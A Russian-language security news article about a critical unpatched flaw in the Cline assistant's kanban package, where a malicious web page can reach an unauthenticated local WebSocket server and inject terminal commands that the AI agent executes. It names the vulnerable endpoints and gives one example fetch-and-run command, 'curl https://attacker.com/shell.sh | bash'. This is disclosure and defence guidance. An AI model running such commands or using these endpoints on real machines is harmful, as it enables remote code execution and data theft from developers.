Критическая уязвимость в пакете kanban ассистента Cline позволяет атаковать разработчиков через вредоносные веб-страницы

Cline AI

Четыре дня назад исследователь безопасности под ником Sagilayani раскрыл на GitHub детали уязвимости CVE-2026-44211 в пакете kanban, входящем в состав ассистента кодирования Cline AI. Проблема получила оценку 9,3 балла по шкале CVSS v3.1 (Common Vulnerability Scoring System) - рейтинг "критический". На момент публикации патча для уязвимости не существует.

Уязвимость CVE-2026-44211

Cline - популярный инструмент среди разработчиков, использующих искусственный интеллект для автоматизации написания кода. Пакет kanban добавляет в среду доску задач, которая работает как локальный веб-сервер. Уязвимость позволяет злоумышленнику удалённо выполнять команды в системе разработчика, похищать данные и останавливать активные сессии ИИ-агента без какого-либо взаимодействия с жертвой. Для атаки достаточно, чтобы разработчик просто открыл в браузере вредоносную веб-страницу.

Известно, что все версии пакета kanban до v2.13.0 включительно содержат этот дефект. Исследователь подтвердил уязвимость на операционных системах macOS, Linux и Windows, а также протестировал её в браузерах Firefox, Chrome и Arc.

Пакет kanban запускает WebSocket-сервер на локальном адресе 127.0.0.1:3484. В отличие от обычных HTTP-запросов, WebSocket-соединения (протокол для установления постоянного двустороннего канала связи между браузером и сервером) не подчиняются механизму CORS (Cross-Origin Resource Sharing, механизм ограничения доступа между разными источниками). Это значит, что любая веб-страница, открытая в браузере разработчика, может установить соединение с локальным сервером kanban без какой-либо проверки происхождения запроса. Сервер не проверяет заголовок Origin, то есть не отличает, поступил ли запрос от легитимного интерфейса доски задач или от страницы злоумышленника.

Атака состоит из четырёх этапов. Сначала вредоносная страница подключается к WebSocket-адресу ws://127.0.0.1:3484/api/runtime/ws и мгновенно получает полный слепок рабочего пространства разработчика: пути к файлам, названия веток Git, заголовки задач и сообщения активного ИИ-агента в чате. Далее, через тот же канал передаются события task_sessions_updated - они сообщают о том, когда сессия агента становится активной, а также идентификатор задачи и идентификатор процесса. Затем, с помощью соединения к адресу /api/terminal/io, злоумышленник отправляет произвольную команду (например, curl https://attacker.com/shell.sh | bash) и символ перевода строки. ИИ-агент исполняет её как команду пользователя - это приводит к удалённому выполнению кода. Наконец, эндпоинт /api/terminal/control позволяет остановить любую активную сессию агента, отправив простой JSON-объект с ключом "type" и значением "stop". Все три уязвимых эндпоинта - /api/runtime/ws, /api/terminal/io и /api/terminal/control - не требуют аутентификации и не проверяют происхождение запроса.

Таким образом, конфиденциальность рабочего пространства нарушается: пути к файлам, данные системы Git и сообщения чата ИИ утекают в реальном времени. Целостность среды компрометируется через внедрение произвольных команд в терминал. А работоспособность сессий агента может быть нарушена произвольной остановкой задач - это отказ в обслуживании.

Первоисточник уязвимости - два слабых места из перечня CWE (Common Weakness Enumeration, перечень распространённых слабостей в программном обеспечении): CWE-306 (отсутствие аутентификации для критической функции) и CWE-1385 (отсутствие проверки происхождения в WebSocket-соединениях). Обработчик обновления версии протокола WebSocket на сервере kanban просто не проверяет, исходит ли запрос от самого интерфейса доски задач или от страницы, контролируемой злоумышленником.

Поскольку патча нет, разработчикам, использующим Cline версии v2.13.0 или более ранней с включённым пакетом kanban, настоятельно рекомендуют не запускать сервер kanban в ненадёжных сетевых окружениях. Исследователь опубликовал подтверждающую концепцию (proof-of-concept, PoC), демонстрирующую полную цепочку атаки: в качестве доказательства выполнения команды на macOS создаётся нативный диалог.

В своём отчёте Sagilayani предложил три меры защиты, которые команда Cline должна внедрить. Во-первых, необходимо проверять заголовок Origin при всех запросах на обновление протокола WebSocket, отклоняя запросы, происходящие не с локального адреса 127.0.0.1. Во-вторых, генерировать случайный секретный токен при запуске сервера и требовать его в качестве параметра запроса для всех WebSocket-соединений. В-третьих, добавить аутентификацию для терминальных эндпоинтов, чтобы проверять, что подключающийся клиент является именно легитимным интерфейсом kanban.

На момент написания этой заметки ни один из этих механизмов не реализован. Разработчикам, желающим продолжить использование Cline, следует временно отключить пакет kanban или запускать его только в полностью изолированной среде, где доступ к браузеру контролируется. К сожалению, из-за отсутствия патча единственной надёжной защитой остаётся осознанное поведение: не переходить по подозрительным ссылкам и не открывать незнакомые веб-страницы, пока работает сервер kanban.

Этот инцидент - напоминание о том, что даже локально запущенные инструменты для разработчиков могут стать вектором атаки, если их разработчики пренебрегают базовыми мерами безопасности, такими как проверка происхождения запросов и аутентификация. Учитывая масштаб использования Cline, можно ожидать, что злоумышленники начнут активно эксплуатировать эту уязвимость в ближайшее время.

Ссылки

Комментарии: 0